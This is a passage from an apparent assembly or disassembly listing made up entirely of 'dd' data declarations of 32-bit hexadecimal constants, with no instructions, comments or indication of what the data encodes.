		dd 99B2F940h, 1CB409F9h, 0DA80BF34h, 0D8243E5Bh, 24382D49h
		dd 867089Fh, 0C7F574C7h, 2A0FBCC1h, 0ED073006h,	0F1569647h
		dd 0C06718Ch, 20D2A7DFh, 0B80540C9h, 0B2FCDE1Ah, 6C41F440h
		dd 486B0839h, 758330Dh,	6A5E1F02h, 58C85469h, 0FDF08606h
		dd 0A5DB5D41h, 0B0048056h, 94040B02h, 0DE30E499h, 416053E6h
		dd 5C5E9C18h, 3C6800A1h, 1EDFFEE9h, 0C254DCE0h,	4E3EE4B8h
		dd 0E00F2A64h, 930652ECh, 88863F46h, 145E4C69h,	0A169C279h
		dd 3E0371F6h, 33E90087h, 0B2E74B77h, 8301CA6Ch,	641DBEFEh
		dd 1C28EF03h, 0A024B615h, 40AD521Eh, 5C8326A8h,	0CD00811Ah
		dd 3B2F5DDh, 92BD82FEh,	0DE751C68h, 9304A6DCh, 64A08896h
		dd 8D04084Ch, 0A2DC61B6h, 0C50626EAh, 0A4502408h, 91133A4Ch
		dd 448542h, 1F4AD1BCh, 0C535931Ah, 2CF26862h, 5D3012F2h
		dd 0F6716Ah, 70FEE2CEh,	0CE83517h, 5FA56712h, 20CA6042h
		dd 0D44208h, 0FC787288h, 0D01C67EAh, 0A8B786A6h, 6BD5502h
		dd 0ABEEFDAAh, 91081DB8h, 7B638071h, 5BD2A834h,	664802B8h
		dd 0B85908CDh, 0E8180C71h, 0A9841416h, 732AB404h, 0DD4E0200h
		dd 7E013F4Dh, 833E9FCFh, 40386B32h, 78C53BCh, 69751D92h
		dd 33BA4017h, 1EF66885h, 1A34B09Ah, 6C8E91A7h, 89C10C88h
		dd 95DCFD7Ch, 0F4E00B55h, 0CC13176Ah, 0E8D863F4h, 8CCA96B5h
		dd 985D0644h, 0FC973F78h, 236CB801h, 443CE2A8h,	0C8C8CEECh
		dd 0A6A1C076h, 7409C0EAh, 4AC5F0Bh, 14C1A500h, 588002F4h
		dd 0E06094AFh, 5E6F1C77h, 6D91E08h, 109761B8h, 23D03A47h
		dd 0C690E0Dh, 99A25081h, 0B102D4Eh, 89070D12h, 40698908h
		dd 74DB2408h, 76D8B69Ch, 0A7247346h, 87751F70h,	0C8B6C7D2h
		dd 918097A7h, 0D879804Ah, 0BC299B08h, 0A8C2CF8h, 298590Ch
		dd 3673CA05h, 0C580C8B7h, 45DFC94Ch, 3F360130h,	0A3AC32D6h
		dd 0B19CC8B4h, 0C44F8A25h, 0B9B861ECh, 489B449Fh, 59815610h
		dd 0FE31A810h, 66C96A18h, 2A6420B0h, 95D8A001h,	3766C04h
		dd 0E28B7h, 0F8B33819h,	81C8A480h, 170307BFh, 6A0F40EFh
		dd 0BAE03C2h, 2F32F4DEh, 0EA32021h, 22D420B0h, 60A551DDh
		dd 2C32FE4h, 885B7D9Fh,	28C84D8Ah, 0A8CA1E29h, 0FF81C87Ch
		dd 0A7B7D9BCh, 4032B830h, 0A8093E43h, 5BF4D8DAh, 0DEF0D320h
		dd 0C2017C2Dh, 0CAA65458h, 0D84017E0h, 63B5A24Eh, 0F424905Ah
		dd 0EBD050D8h, 0A644F004h, 0E8A2635Bh, 0C53010F2h, 3A4F0256h
		dd 51758A66h, 2822F064h, 91104819h, 61898700h, 0B97CBFE4h
		dd 0AC595813h, 0E3A71B00h, 1CF521C9h, 2E35A841h, 0E97000D8h
		dd 0FF63FA4Eh, 48A6DCBCh, 24254A1Dh, 48E8EA58h,	0BC35352Fh
		dd 40725D80h, 71B2F32Fh, 0F51B0FE2h, 40F6AE91h,	5B5404E8h
		dd 6800814Dh, 356657A2h, 94804086h, 0A037001Ch,	0A3062E5Fh
		dd 711AE216h, 2B006C7Ah, 1AFA7DB2h, 151E4533h, 0ECE4B880h
		dd 4C9FA640h, 2EA5018Fh, 604E1D2Ch, 3D1BE4E1h, 8945C707h
		dd 28B4EEBCh, 0A01A8E9h, 8E2AE362h, 6072E25Bh, 20958A18h
		dd 1A0EA879h, 0B9CE7306h, 177910D1h, 0BC00F618h, 0A83C87F3h
		dd 90F004F2h, 0C988805Ch, 76909480h, 5020A46h, 0D6DC6042h
		dd 1C968C68h
		dd 1853F22h, 71AAFCCAh,	0C8F1AC17h, 232482F7h, 0FF4194DBh
		dd 0C824B9C4h, 48B60583h, 0A1EE9995h, 6EC46098h, 0C959136Eh
		dd 11B49D5Ah, 0EE4C8777h, 804EB493h, 3B81CD9h, 0E88D47FCh
		dd 0B6A44F99h, 0CC0AE0D0h, 0DD60004Bh, 9215046Bh, 0D488811Eh
		dd 4B48925Bh, 23102E35h, 0DC121C0Ah, 3AAF00D5h,	0A3236EB3h
		dd 38AC6953h, 80403DC9h, 338D6D8Bh, 0CCD643h, 0A337BA8Fh
		dd 872573A1h, 70B16160h, 2AAD59Fh, 0A5E94418h, 0F85EB54Bh
		dd 17B2AD40h, 0D0DE0027h, 0D5D43D69h, 0F0000353h, 0A225869Dh
		dd 2E3B3DAh, 0A3085D0Ch, 0BC5048C1h, 8030D225h,	0D14FEFB4h
		dd 193803DFh, 18AD872Eh, 0C7DC80A5h, 0B5068ED8h, 9FB6CF47h
		dd 50630428h, 4086D745h, 0D03EB791h, 46A009B6h,	0BAF8C6FEh
		dd 7403D09Eh, 62155CCAh, 5A291868h, 0CDC0FE02h,	7EF9C094h
		dd 912D96B1h, 9060816Ah, 4463A342h, 42608C45h, 780B6914h
		dd 97CA5484h, 364D0C0h,	71821EFCh, 18137964h, 40989656h
		dd 0F4B2D98h, 0A03E5B27h, 2F501B4Ch, 1707863h, 0DE8045DBh
		dd 0E84F4786h, 7F3A590Eh, 0B758075Bh, 9460859Ch, 6D87C0h
		dd 461AEFAFh, 560E437Fh, 1DB8403Ah, 21CBC367h, 20860057h
		dd 3B6FE8Fh, 0B522AA1Ah, 29348717h, 180E217Fh, 4F49B88Fh
		dd 0D8FA23h, 3BEA2428h,	17A82026h, 465EC494h, 0A8C7037Bh
		dd 593EE1Dh, 6E1FF28h, 84F0C1A6h, 0EC1C2810h, 38018C77h
		dd 0A3ADB191h, 3C739D18h, 0A293583Ah, 6978A122h, 78D8B900h
		dd 80F33C49h, 0A806BC00h, 22F4CA45h, 0D3E71091h, 0F4B61278h
		dd 610F37DCh, 40BF4051h, 36A93C12h, 42A7906h, 7414EBCAh
		dd 8EB495EAh, 0C072C828h, 0D59EAADFh, 7CE8C03h,	0A20C7DD4h
		dd 172C7826h, 0DE88BE89h, 0B30E8000h, 2B9FAA5h,	91953702h
		dd 820E7B5Eh, 5C291F04h, 439F8710h, 7C6DC912h, 4CF967C0h
		dd 0C1E50035h, 64B5DDF5h, 2CB92209h, 7652B104h,	1E811C03h
		dd 145E56E2h, 70124674h, 0CCA5713Eh, 81F18B64h,	91AF0F6Ch
		dd 18BC0C38h, 75E4008Ch, 0B8E695BDh, 4174EEAEh,	6D2C2171h
		dd 53110C01h, 6A451867h, 607E1ECCh, 10B08D4Ch, 0D41C4A15h
		dd 30579ADFh, 40419CCFh, 0BCF49752h, 37C43C46h,	0D6891077h
		dd 4E00479h, 0FCB31CEFh, 0BD3011B2h, 0D65000A8h, 0F8E62A46h
		dd 580994C9h, 0A0E401DEh, 2FB41890h, 0B1931706h, 0AF342250h
		dd 123E8F30h, 0CB9BA648h, 86DF00CCh, 201CB33Eh,	0A56B3906h
		dd 1916A040h, 0C09A3583h, 15FB63C0h, 913B437Ch,	0C030C8F2h
		dd 0BAEFFD4Eh, 0DDD709C6h, 0B479FFAFh, 0FA180B79h, 54F2470Bh
		dd 0FC605A16h, 0F140810Fh, 0C41C3B2Ch, 0C453B900h, 1CA6622Ah
		dd 6F1FD7DDh, 698078B7h, 1ED4FDE6h, 4AD0901Bh, 6044C94Eh
		dd 3009D5B0h, 3033E14Ah, 514A844h, 5589931Ah, 0A290F36Eh
		dd 0EC653017h, 83BC5400h, 1A49D6FEh, 24DA38A6h,	16A08050h
		dd 0E4DF2391h, 0B8A4277Ch, 7B9A9801h, 87C5ADFBh, 48000873h
		dd 54DABCCFh, 8B1CCE8h,	0A01874D1h, 11E07B60h, 0CB15958Ah
		dd 0C45286B1h, 0A94C503h, 80937CCFh, 2C1B4236h,	95EDA0h
		dd 0D9515C8Bh, 0DC935D04h, 46743424h, 424A1F13h, 30154445h
		dd 42C468C2h, 0D1CCD900h, 0B0781875h, 0C3C789Eh, 48856C67h
		dd 4700B3D1h, 0ABF3FB3Bh, 0BAF48Dh, 8B179431h, 7EA41BF2h
		dd 9FFD9A1Dh, 0CC1328FFh, 9C9BD0A0h, 0DCE041C2h, 98CD81Eh
		dd 0B288CE91h, 8FFF5483h, 746624D1h, 179FCCE4h,	807C91B8h
		dd 0CF93A923h, 116F0454h, 0A26878B1h, 15E4C44h,	0E58152C8h
		dd 8862247Ch, 0B230B292h, 55703076h, 72E10200h,	3DF0E0B4h
		dd 1D21CF84h, 19DB16A0h, 27C89A9h, 0EC580C58h, 56008C4Ch
		dd 0A86215F3h, 0BE0EECF2h, 5373173Ch, 0A214E308h, 58203012h
		dd 647CA500h, 0D02968F5h, 9101EC0Eh, 99EE029Ch,	0B072703Ah
		dd 0F1111621h, 0CB21813h, 80129214h, 0F7B0D850h, 0E1501A6Eh
		dd 1FC3DB24h, 23A43B6Eh, 0B1380071h, 0CD4B825h,	6412740Ah
		dd 1607640Ah, 10BB569Ah, 80245348h, 0BD04679Eh,	1CD7BE35h
		dd 49F284E0h, 42099CC0h, 0D8E3CDA3h, 0F8EC4858h, 27008C0Ah
		dd 0C606BDADh, 170E4B85h, 8DE73A9h, 5D922468h, 2EE13CF6h
		dd 36FF70EFh, 9637C3Ah,	108A3EE3h, 0EBB288h, 5D4ADF07h
		dd 0E0DE996Eh, 0B0A9163Fh, 0D7CA90BFh, 770425E1h, 0C744F448h
		dd 5464A105h, 85EAAF53h, 0DA68205Ah, 27090410h,	0D18F4477h
		dd 184D79F0h, 0A97307A1h, 1BD7694h, 40F22FDDh, 0E4F3FDF8h
		dd 0A1B02850h, 0E2749401h, 4BD0E704h, 0AB28833h, 7DC43031h
		dd 0E6E100F6h, 0E9693514h, 45AF2A7h, 0DFFE98C0h, 1437B719h
		dd 7D12C101h, 0D0D1FF4Ah, 0EB003033h, 435DD498h, 0AD0423F4h
		dd 383DDCEh, 0F8B948EDh, 0C116FDBAh, 8CF3095Ah,	0D93072A2h
		dd 71334E2h, 0F3B481E8h, 1C146005h, 1080027Bh, 8033E521h
		dd 96307BB2h, 0EA1200FCh, 9E50F948h, 8B2706A6h,	56686299h
		dd 0B035E99Ch, 531D2980h, 0F29FF7E2h, 30342D47h, 12E4AC45h
		dd 8063B161h, 203D49F8h, 5A6AFE9Ah, 1EF4C031h, 2D2D0464h
		dd 64A8E71Fh, 0F4026005h, 0DF7313B3h, 7D23003Bh, 0B62EA84Ch
		dd 88CF4F00h, 7A8568A1h, 0FCEE048Ah, 85463ADFh,	0CB101398h
		dd 0C419C8B8h, 8050C449h, 8E11013h, 8021A32Dh, 4E389EB8h
		dd 0C5EEF0h, 2CAC189Fh,	0CA89A8A0h, 3303CC94h, 25223A28h
		dd 0E048B750h, 2C12D5D2h, 0BC51D15Dh, 4C9BB8B4h, 0C27A438h
		dd 5C9D4062h, 3A8F7C11h, 8476407Eh, 0AF2EB3F7h,	87403F1Eh
		dd 4E80C4E4h, 0B0C03994h, 30FE69h, 23E43A2Fh, 6A4698F7h
		dd 68018AFEh, 0A30CB673h, 9460E3D4h, 66311FFh, 0B1F40422h
		dd 68AC530Ah, 3B1EFD11h, 8A860BB2h, 87E8909Ch, 88F28848h
		dd 0F032B700h, 79A0D5D9h, 4924004Ah, 54672265h,	0C8523780h
		dd 0D24009ECh, 972850FCh, 0C0893431h, 3C022FB1h, 3ED85B58h
		dd 72C22070h, 0F5001E29h, 68EF3501h, 99F39Dh, 82D3F9C0h
		dd 26A99745h, 907800B5h, 0D73996A3h, 0B268A358h, 52583050h
		dd 0AC2B2A00h, 7415D3E8h, 123835DAh, 0B8C0A9B8h, 0D40901B0h
		dd 5EFCE0C8h, 40800447h, 7435EA64h, 0A6D21D74h,	5F4C873h
		dd 3A48D60Eh, 25482CEh,	633E0250h, 7018CCA3h, 0C1B5ECA8h
		dd 0FF25EE7Bh, 0F40C907h, 6A007D08h, 1130C221h,	0B5F83Ch
		dd 43352DD7h, 0E0EEA34Ch, 0EDC38C00h, 33103ED6h, 70F4A1B6h
		dd 10618611h, 0D2512h, 0D25FF274h, 1864ADCAh, 0A01FBE7h
		dd 0F5A83C07h, 532FF0D3h, 775C0034h, 0C96DCE0h,	0F001ECB1h
		dd 50A4F7D5h, 0B23C122Fh, 72F201D8h, 94C8BC19h,	2EA128CCh
		dd 0C0C080B0h, 6C6291F4h, 12547682h, 0BFD20347h, 700106A7h
		dd 0EE3AD756h, 213A5D85h, 861A5A60h, 6FCA9981h,	782A5840h
		dd 0E43A0050h, 92C10025h, 56575E9Ch, 0D82823CFh, 6406648Ah
		dd 41282572h, 386FB089h, 0A84029Ch, 0BC3F0CE0h,	0D84F0F78h
		dd 211363h, 406E22B7h, 4A715A28h, 2A00C8C3h, 2C52BE8Dh
		dd 7EF3FC88h, 0D7D41268h, 5370B020h, 25F6B088h,	94003689h
		dd 0FD82FE94h, 7501549Eh, 0D32FC60h, 0CA44442Fh, 1A07446Fh
		dd 0D2A83F41h, 133C7C28h, 6C21988Ah, 0FD33DFEh,	35730C69h
		dd 0B6081213h, 9867E06Ch, 0F67A04ADh, 0A45EBEB1h, 9A5618ECh
		dd 41F616C4h, 8CFE8C91h, 233C3B6Fh, 0EAB5004Fh,	0D6790C92h
		dd 0C3B72E03h, 0F566C66Bh, 0F8627CE8h, 745E0EE8h, 8C50684Ch
		dd 0D3DCBA05h, 6CCE9BDDh
		dd 0DCB29C00h, 492D6583h, 347C3F02h, 0D9337895h, 18767914h
		dd 0CDC13FAAh, 30826EBBh, 0B73F8061h, 0AC804074h, 62479A94h
		dd 0D32F00CEh, 0EC4C225Ah, 0D5698344h, 7828F349h, 0AA0216FFh
		dd 0ADF0ED1Ch, 60523Eh,	0F6877F70h, 192F7AD0h, 0AFB8303Eh
		dd 13542407h, 6BCB4ECh,	0C529028Ch, 0E732EF82h,	2B002066h
		dd 703FC36Ah, 24B65101h, 1EE8BAC5h, 941460F2h, 5EBF6B08h
		dd 8C147402h, 7B584A97h, 322F70C4h, 826DCA3Bh, 0BF12A829h
		dd 7B40E241h, 1495A58Ch, 15801691h, 0D6E1A668h,	5B36C8EFh
		dd 8E024502h, 0CA12A194h, 0CA0C244h, 97147858h,	44A7A095h
		dd 9A879A4h, 0DFD25876h, 0ADB4E898h, 6920E500h,	39BE1DF6h
		dd 7540E31h, 2D407A87h,	18C14785h, 0E88C9B5Ah, 0F29F09C7h
		dd 40E40A7Ch, 2F3FC245h, 512384h, 67DEBA60h, 5C0F08CAh
		dd 596E9196h, 2992EFF8h, 1B8B257h, 2EC6F6BFh, 202FA1B5h
		dd 358B0690h, 3882564Ah, 5E345636h, 0A3007546h,	85968704h
		dd 0A6122A8Fh, 0D0BCA0F2h, 78748D4Bh, 25E72210h, 84ECAC18h
		dd 48201E6Eh, 0B194021Bh, 0CC7285B2h, 0A2F5220h, 16DD241Ch
		dd 0BD38B8ECh, 4C872904h, 0B88CA9FFh, 188A05FDh, 3A0EA342h
		dd 3762380h, 71AE6930h,	168D0280h, 2FDC009Dh, 800B78D2h
		dd 1A5EBEFFh, 53C8A8CBh, 0EAA3EDC0h, 26CF00A1h,	0F3ECC8B5h
		dd 160177D3h, 23D685A7h, 487574DBh, 78A28C23h, 170FC30h
		dd 6841B03Ah, 7E5E9194h, 10E88004h, 0B6D74CB8h,	0C1B1E008h
		dd 2F750463h, 0AB22D8DAh, 1A00E87Ah, 782141DAh,	37804FAEh
		dd 0B47BF697h, 71465ECCh, 0D0CAFE07h, 381B8008h, 0C7002E31h
		dd 0EFD1B3E5h, 1FD629F3h, 5F620353h, 0F2A705B2h, 0A198F084h
		dd 7BB99E58h, 7225A4B0h, 0B6C8EE85h, 11465ED0h,	9F4B1D0Bh
		dd 178BD889h, 13B6D802h, 0CDECAB55h, 0A6760CCh,	0F9089DA1h
		dd 0BF09138h, 0C4846D81h, 5058A8A3h, 3A627A01h,	0C41EE070h
		dd 26418F4h, 9F18711Ch,	5E0B8C99h, 18885AD4h, 4987A994h
		dd 0A230DC66h, 8A99192Eh, 0D68CAA65h, 446747Ch,	79864900h
		dd 0D4AE90F3h, 0A3061109h, 9DDC78B5h, 0D60274B7h, 7427B94Ch
		dd 0BE3283FCh, 0BFD01E50h, 680162A1h, 60786365h, 9AF459D7h
		dd 705E69A5h, 23C1C802h, 0DCA456h, 0F80B903Dh, 0CDDD7B6h
		dd 0F012472Ah, 780040B1h, 72404339h, 0C036DE5Bh, 0CE204471h
		dd 9CB8F1EDh, 71666044h, 19CF038Eh, 371CD80Ah, 80D628AAh
		dd 84466740h, 0ACC41CBAh, 0BDD800AEh, 1E69A2A5h, 0E9E1341Eh
		dd 86C0481Eh, 71FA56D6h, 8912FBEh, 5D60A4EDh, 0BD26484h
		dd 0CBEA73C9h, 7CC45CC7h, 786F2260h, 7600AD70h,	271A90EAh
		dd 5B442h, 986637C1h, 93D0F520h, 3A05F4E0h, 47A9BF6Dh
		dd 52F2FCA2h, 31CBA833h, 2FD90064h, 4A35E854h, 79557308h
		dd 342FF8h, 78880CCEh, 0E8F232C0h, 0B0A4E047h, 6F8E20D0h
		dd 76B2872Ch, 37097E1Dh, 0A8CCC0D4h, 152C20F2h,	31931A09h
		dd 0D91C5961h, 5CDB180Ah, 0C8043C56h, 0B04B3C9Eh, 80BE2044h
		dd 8BFCC525h, 1C90E024h, 0FD12A69Fh, 0A5DCD7h, 5ADB2088h
		dd 4674E0A4h, 16F61C7Ch, 3C7A0C47h, 0E0813652h,	27F1B6A3h
		dd 38E05349h, 0EE03A8CAh, 4B5073B2h, 3EFBA0h, 339DB4A1h
		dd 4F86D9C1h, 390E1B3Eh, 161E80C3h, 9B2F1027h, 74309870h
		dd 0D71C38A3h, 0F2DCC8CBh, 8366CE00h, 70BB1F0Eh, 3F5E011Eh
		dd 45DAEF6Fh, 0D0FBED7Dh, 0A05A477Eh, 407C60C0h, 294F6376h
		dd 2040FAF7h, 8EE34718h, 935B2F49h, 570F48A3h, 650AE006h
		dd 530281A8h, 0C59C3A9Ah, 0FA367088h, 77985503h, 0C89E41BEh
		dd 25A0328Eh, 0CCD8B4F2h, 9A227E7Ah, 0FC5609EAh, 18803B02h
		dd 0BAD4B04Eh, 8BB19C13h, 40F0BC53h, 14678A94h,	0C7601344h
		dd 0FB02A83Ch, 0C47EA9ECh, 0E9445454h, 7611B097h, 72629780h
		dd 0FE1DC589h, 0BA456BB9h, 0F21273A7h, 0F70610B0h, 382C76FDh
		dd 71C7EA18h, 554B688Ah, 2B2B74DDh, 523D4h, 6613CF4Bh
		dd 0D8007545h, 8CBC2AD6h, 0B45037E0h, 0A9B940DCh, 4701AE4Dh
		dd 0A82F32DEh, 33EDEE21h, 3460B371h, 8D452718h,	52919417h
		dd 808F2585h, 0EF171AEFh, 37D39412h, 606394A3h,	120AAC16h
		dd 800FED68h, 79E07889h, 0B4410284h, 0D0E1ABD1h, 645EE652h
		dd 41C858EBh, 44132E84h, 8EB0D4A7h, 0BA35A196h,	94AD6889h
		dd 6A828D0h, 0CA2C008Ch, 31F4E22Bh, 2A02D5FDh, 3DD7DB0Dh
		dd 0EE6CED24h, 407B2687h, 6C64CF33h, 76CE9601h,	0FB2A68A1h
		dd 93C322Fh, 8018355Dh,	26D4F53Ch, 4900DB51h, 0D36B9E71h
		dd 0B52EE784h, 43B8884h, 0B8B59C96h, 81DCDB2Fh,	5F89A264h
		dd 1809887Ch, 0A45B0FACh, 0D435AFh, 22C1D1EFh, 7E07B77Ah
		dd 0BCEC6F62h, 0FC55B501h, 0B27C742Fh, 3019B2C0h, 7D00954Dh
		dd 0A5137815h, 0B3468F1h, 0CEEECA09h, 2637283h,	0B94175F0h
		dd 3E397EF6h, 106F268Dh, 0C52E4787h, 144B7720h,	0C0410009h
		dd 0E875D6B4h, 80AC64EAh, 0B011A833h, 0D4BDFCD9h, 0C5762DE8h
		dd 24081A0Fh, 5FA0C0ECh, 276AFE40h, 50114B89h, 7879D241h
		dd 8B1810D9h, 6D9B0E01h, 5FE19308h, 648D5882h, 3F201605h
		dd 8A88CFh, 0AE8ED8EEh,	0A186FE44h, 0CD789417h,	7BC84CCBh
		dd 69214DC0h, 0F4120074h, 685DBDE1h, 614FE59Ah,	85A8E451h
		dd 10E5D924h, 47D5A888h, 0ECCA7401h, 78731022h,	2A3074B2h
		dd 0D96D124Ch, 0CD088463h, 1D688820h, 0D88424Ah, 3C64A100h
		dd 0CAC4A38Dh, 13300E5Ah, 4D11EFDh, 702E4F9Ah, 4AA21694h
		dd 0DB3E5CB4h, 0D4DD58C1h, 447E2AEDh, 95EBE48h,	619C71B6h
		dd 8083E124h, 7495AFC1h, 9FA82894h, 32365C41h, 300BF274h
		dd 5A009418h, 4080FFF9h, 1A685D9h, 0E3D616A7h, 42AC15B2h
		dd 705CE2F4h, 70AC7B49h, 81B75035h, 0C1569488h,	0AB29063h
		dd 212A30h, 0C640FCF6h,	4813B759h, 0D4F0B872h, 94E0E04Ah
		dd 81448B6h, 0EFDAA205h, 28E8063Eh, 0E200491Bh,	0BBAD204Ch
		dd 458A7Dh, 0D2CC7A11h,	241C9DBAh, 81E9E712h, 90236CE1h
		dd 75304AA2h, 2014B8A2h, 0CF02479Dh, 6A24D6BCh,	279C50DEh
		dd 147104D2h, 4147860Ch, 28420080h, 3C9FC18Eh, 8F01ED03h
		dd 71FBFAD2h, 908646D8h, 6030A841h, 0FC12814Ah,	0F64E40B7h
		dd 0B239A14Ch, 8942ABC5h, 0D0205598h, 19FCD21Eh, 139B0C80h
		dd 3B71F808h, 192368h, 12E9A066h, 99072E21h, 0D723CF1Ah
		dd 518A89DCh, 40783C96h, 505EF20h, 5CF29FCAh, 800538ACh
		dd 4ECF9A18h, 0C500BD98h, 1DA53E9Fh, 3797h, 56AC81FEh
		dd 990439E5h, 6A3D7308h, 88EAA601h, 0EF788A18h,	0C20050B6h
		dd 4421F0B3h, 74AF5CBDh, 8F745E09h, 1DDCF47Eh, 80D0E5E4h
		dd 0A02F49BBh, 5E258F64h, 0F42CE059h, 68B98409h, 78187459h
		dd 0A1F67B04h, 4AC5F06h, 0B819C812h, 4AF5B240h,	0DC1C7494h
		dd 0E2FBA200h, 0F7B0F2A7h, 74A89C0Fh, 45077546h, 60E06FDBh
		dd 15A7CC2Ch, 0A96A8613h, 4AB97088h, 0B294E398h, 61BA307Ch
		dd 4330700Eh, 0E3860040h, 3CD9046h, 0D7C7068Bh,	0FC90AF8Fh
		dd 34F89F3h, 961220F6h,	0AD4BD91h, 0F40308BBh, 28E22640h
		dd 64CE9522h, 0A52EA81Ch, 888B08D3h, 8EC01988h,	10D7D3Ch
		dd 68F28BE5h, 2453B58Ah, 5055EAF8h, 0F4DB3BB4h,	0F5680780h
		dd 1B012BEDh, 0DCDE192Eh, 0AD04457Eh, 0BC4F881Ch, 4F916A13h
		dd 5E02AF68h, 0FC5E0D8Ah, 0FFA77D00h, 4C3ACCB0h, 63229890h
		dd 0E0A63B00h, 0F4446D36h
		dd 0BECD0179h, 0C7E2FE9h, 681F2E97h, 0A072D843h, 542E9218h
		dd 581247FCh, 9F186025h, 86F41364h, 0AE0E4D4h, 9565A080h
		dd 842028E6h, 0B4274E0Dh, 4200CA2Ch, 5B62E717h,	69B472h
		dd 1335E632h, 548F02E3h, 0D4F30C25h, 4FD2126Bh,	0DF019094h
		dd 35B8DAA5h, 3C002B00h, 0E2F83ED6h, 0E27A4ADEh, 5A651078h
		dd 539EA180h, 9417B4F2h, 5C203E4Dh, 4C1E4CACh, 853CA260h
		dd 20047450h, 6400168Bh, 40AD5491h, 98217A0h, 7644B841h
		dd 494E7884h, 1C707A3Fh, 806AF3A9h, 0BF878691h,	2C00BEAAh
		dd 0EE6B69E3h, 2594BDEFh, 94729075h, 70E53925h,	0A6134490h
		dd 44968528h, 1512DC10h, 1FC04E26h, 0BAF832C0h,	88224CE0h
		dd 2515E080h, 10507D9Dh, 13BC4052h, 0F8E130CAh,	406182CCh
		dd 0BD01755Eh, 0DE248FDAh, 0E99D8AF4h, 7A4A491Eh, 28593029h
		dd 292AA1BDh, 19137198h, 7A7B1F4h, 0E20FBF70h, 0AA0934F8h
		dd 0B64AF86Fh, 0D62414ACh, 72C69FE4h, 251846D5h, 44E2EBB6h
		dd 465E1456h, 90FD134Ah, 488D7004h, 1B36A002h, 44B777h
		dd 0ACB7BC82h, 1001A4C8h, 2461E2CBh, 202F3AF4h,	582FB228h
		dd 0D34A7703h, 0C869053Dh, 1A7B063h, 9E421B0Eh,	2AF2ED28h
		dd 0A07970D9h, 9F026DA8h, 0DD244758h, 42885E83h, 0B571C09h
		dd 61846DE4h, 203C8F1Ch, 9257BB0h, 0AE40CD7Ch, 10465684h
		dd 0E70DC204h, 3130F856h, 7EFC08B4h, 0BC28132Eh, 8C11EC70h
		dd 0B5854800h, 0A7DC32D7h, 0B404E6CAh, 95F83B24h, 30F9C0C2h
		dd 9E187BD9h, 94D3Bh, 0FCEC4445h, 1D8FF5Bh, 0DE0686FDh
		dd 0A47E4FA7h, 70256809h, 10DD6178h, 0E8FCABB7h, 57099F15h
		dd 5CF80A24h, 10E5599Ch, 2275708Ah, 60BE7FEFh, 2D1012DCh
		dd 800C0856h, 0A19B1781h, 3034CAE2h, 279A30FCh,	0DDFF4C80h
		dd 9D30418h, 921BB610h,	75720008h, 0A624DC44h, 0D40A3E6Eh
		dd 0D0362033h, 410465Eh, 0A7185FB2h, 504427FAh,	0AFF2CF47h
		dd 0E2993400h, 507A6053h, 4010038Fh, 20515E26h,	0F427FEECh
		dd 772235A0h, 6B71008Eh, 3ED22450h, 0E10E5AECh,	8D23FB68h
		dd 6040F184h, 5B185E7Fh, 0ACA03445h, 838813B0h,	5023283Eh
		dd 1141B400h, 66468ABh,	0E2A5CB31h, 949561B0h, 1AE8245Ch
		dd 5467C6Ch, 5B4F8600h,	9994715h, 0D27B20B0h, 617E9C81h
		dd 0D261A1E8h, 14CE8F3Dh, 0ADDE1D23h, 6E7B0491h, 0A996A001h
		dd 68866B8Eh, 590E27B7h, 47D12F03h, 0E81E8422h,	178F5FE1h
		dd 40960h, 705A6415h, 225ADC66h, 0FD448800h, 0F9F38E2h
		dd 2324153h, 823E24h, 1E90E757h, 0BAD103A8h, 2420D79Fh
		dd 15FF18A0h, 19A46650h, 13941E40h, 92760A91h, 70E967FCh
		dd 0E74C2635h, 3B4F64A0h, 269E208Ah, 7D0C1090h,	0B9495ADCh
		dd 0D4670AFFh, 42881CF2h, 0B605666Ah, 2B004AFh,	0D786007Ch
		dd 0C4A8CD6h, 67FE45C1h, 948019A0h, 9F872778h, 0E60014D1h
		dd 6A232E20h, 9B283888h, 3F37E089h, 8BD5E0C2h, 0A7A85604h
		dd 0B2784CF3h, 786E77CEh, 0BF8C1EFEh, 644467B6h, 2304A02h
		dd 8291A678h, 844EACh, 0B171A790h, 4180AA04h, 82C0B6B4h
		dd 17C87B2Ah, 0B6560869h, 22E6E040h, 0B6911295h, 0C184BD66h
		dd 635EA196h, 498742Eh,	66B4684h, 951183Eh, 45ED8B06h
		dd 74F2B422h, 0C6950C58h, 93CC0468h, 49172042h,	0D66C7C09h
		dd 0C8166009h, 0AD687165h, 0C2717073h, 4B5AE020h, 0B849D1Ah
		dd 0C04F8828h, 7E0E2D76h, 32D6B903h, 0B743DF0Dh, 233A1CE4h
		dd 531A094Ah, 0A884A471h, 80B10CD2h, 1BD42C61h,	0B5627308h
		dd 13C144EDh, 0A34764C5h, 0A30D2812h, 0E870DEC4h, 724A03E6h
		dd 0C40095F7h, 86D16D5Fh, 0F09F2105h, 0B2C40841h, 4D233C2Eh
		dd 0EACCC101h, 0F02223B6h, 1E77DA00h, 0A7F7A801h, 0B744E801h
		dd 9EF935CDh, 5E2FA9E9h, 9268C580h, 0FE88E0C1h,	1F833E10h
		dd 14AD1A3Fh, 0E0541083h, 5647913h, 0C094F892h,	0C90E0900h
		dd 405E4C11h, 0BD902440h, 9BB101D0h, 708E9C5Eh,	49C8B044h
		dd 259A688Fh, 38CE777Dh, 581510B0h, 68B187h, 0A58B4B48h
		dd 7B89CC2Ch, 0E9F0295h, 1E2672DCh, 2842FC62h, 7449047h
		dd 0BBE51D60h, 49D2C26h, 12FF6A17h, 0DE2020E7h,	82B55ED4h
		dd 5D516C20h, 58456CBAh, 976304C4h, 3A0622E0h, 8DE04103h
		dd 2F679FB0h, 48973EEEh, 41800C91h, 0E0B517D0h,	0DA989958h
		dd 389C83C1h, 56978A6Eh, 54D6529Ch, 15EC2481h, 9F236B7h
		dd 465E9474h, 280F1D0Ah, 5650C725h, 0E4E6085Ah,	0BD4966B0h
		dd 7B02B4EAh, 6A4D21A3h, 0A037D590h, 21B6053Fh,	1CB8BDDEh
		dd 0DAF4DC4Eh, 6F9D0973h, 2EE1407Ch, 0E04E23E3h, 13D385Ch
		dd 4F47B3E6h, 0B822F2A0h, 8C21185Ch, 407C6DAFh,	9144FFE7h
		dd 0F1AE8B01h, 27897B78h, 0AF00387Dh, 460C70CFh, 0CDE09EE9h
		dd 1291D601h, 0FF8FD434h, 6B7FB961h, 3D0523B8h,	0E11B380h
		dd 0BCDA4B38h, 9CB5D605h, 80408C3Eh, 2B1A2F81h,	2E5E2AAh
		dd 10BE8ED5h, 0BA57CC89h, 60FC4D94h, 819B4353h,	0A4C2C45Bh
